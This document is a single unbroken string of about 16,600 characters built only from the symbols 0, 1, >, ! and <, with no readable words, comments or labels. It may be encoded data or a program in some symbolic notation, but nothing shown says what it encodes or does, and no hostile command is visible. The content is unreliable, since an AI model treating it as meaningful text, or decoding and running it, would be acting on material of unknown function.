0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1!1>0><>1>01010111>01!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!10110>1!101101010111>01>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0><>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>01010111>01>0><>1>0><>1>0><>1>0><>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0><>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>10110>1!<>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1>01010111>0<>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0><>1!1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1>0>1>0><>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0><>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110><>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1!1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0><>1!1!1>0>1!1>0>1>0>1!1>0>1!<>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0><>1!1!1!1!1!10110><>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!<>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!1!1!10110><>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1>0>1!1>0>1!<>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0><>1!1!1!1!1>0>1>0>1!1!1!1!<>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1>0>10110>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>01010111>01>0>1!1>0>101101010111>01!1!1!1!1>0>1!<><>1!1!<><>1>0>1!1!1!1!1!<>1!1>01010111>01!1!1!1!1>0><1010111>01!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0><1010111>01!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>10111>10111>01!10110>1!1!1>0>1>0>1!1!10110>1!1!1!1>0><>1!1!1>0>1!1>0>1>0>1!1>0>1!<>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>010110>1!1>0><>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!<>1>0><>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0><>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0><1010111>01!1>0>1!1>0>10110>1!1!1!1>0>1!1!<><>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!<>1>0>1!1!1!1!10110>1!1!1>0>1!1!10110>10110>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01>0>1!1!1>0>1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1!1!10110>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0><>1!1>0>10110>10110>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>10110>1!10110>1!1>01010111>010110>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!10110>1!1>0>1>0><>1>0>1!1>0>1>0><>1>0>10110>1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1>0><>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>01010111>01!1!1!1!1!1!1!<>1!1>0><>1!1>0>1>0>1!1!1!1!1>0><>1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0><>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1>0>1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!101101010111>01!<>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1>0>1!1>01010111>01>01010111>01!<>1!1!<>1!1!1!<>1!1>0>10110><>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110><>1!1!1>0>1!1!1!1!1!1!10110>1!1>0>10110><1010111>01!1>0>1!1!1>01010111>01!1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>01010111>01>0><>1>0>10110>10110><>1!1!1!1!1>0>1>0>1!1!1>0>1!1!<>1!1!<1010111>01>0><>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1!1!1>01010111>01>01010111>01>0>1!1>0>1!1!<>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0><>1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!101101010111>10111>01!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!101101010111>10111>10111>01!1>0>1!1>0>1!1!1!1!1!1!101101010111>01!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01>0>1!1!1>0>1!1!1!1!101101010111>10111>01!1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!101101010111>10111>01>0>1!1!1!1>0>1>0>1!1!1>0>1!<>1>0><>1>0>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!1!1!1!1!10110>1!1!1>0>1!1!1!101101010111>10111>01!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!101101010111>10111>01>0>1!1!1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>1!1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1>0>10110>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!10110>10110>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>10110>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>10110>1!<>1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1>0>10110>10110>10110>1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>1!1!1!1!101101010111>01!1>0>1!<>10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>10110><>1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1>01010111>01!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110><>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!10110>1!1!1>0>1!10110>1!1!10110>1!1!1>0>1!1!1>0>10110>1!1>0>10110>1!1!10110>1!1>0>1>0>1!10110>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>01010111>01>0>1!<>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1>0>10110>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1!10110>1!1>01010111>01>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!10110>10110>10110>1!10110>1!1!1!1!1!10110>1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!10110>10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>10110>10110>1!1>0>1!1!1>0>1!1!1!1>0><>10110>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!<>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!101101010111>01!1!1!1!10110>1!<>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1>0>10110>10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!<>10110>10110>1!<>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0><>1!1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>10110>10110>1!1!10110>1!1!1!1>0>1!1>0>1>0>10110>10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>10110>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1!1>0>10110>10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>10110>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!10110>1!10110><>10110>1!1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!<>1>0><>1!1>0>10110>1!1!1>0>10110>10110>1!1!10110>1!1!1!10110>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1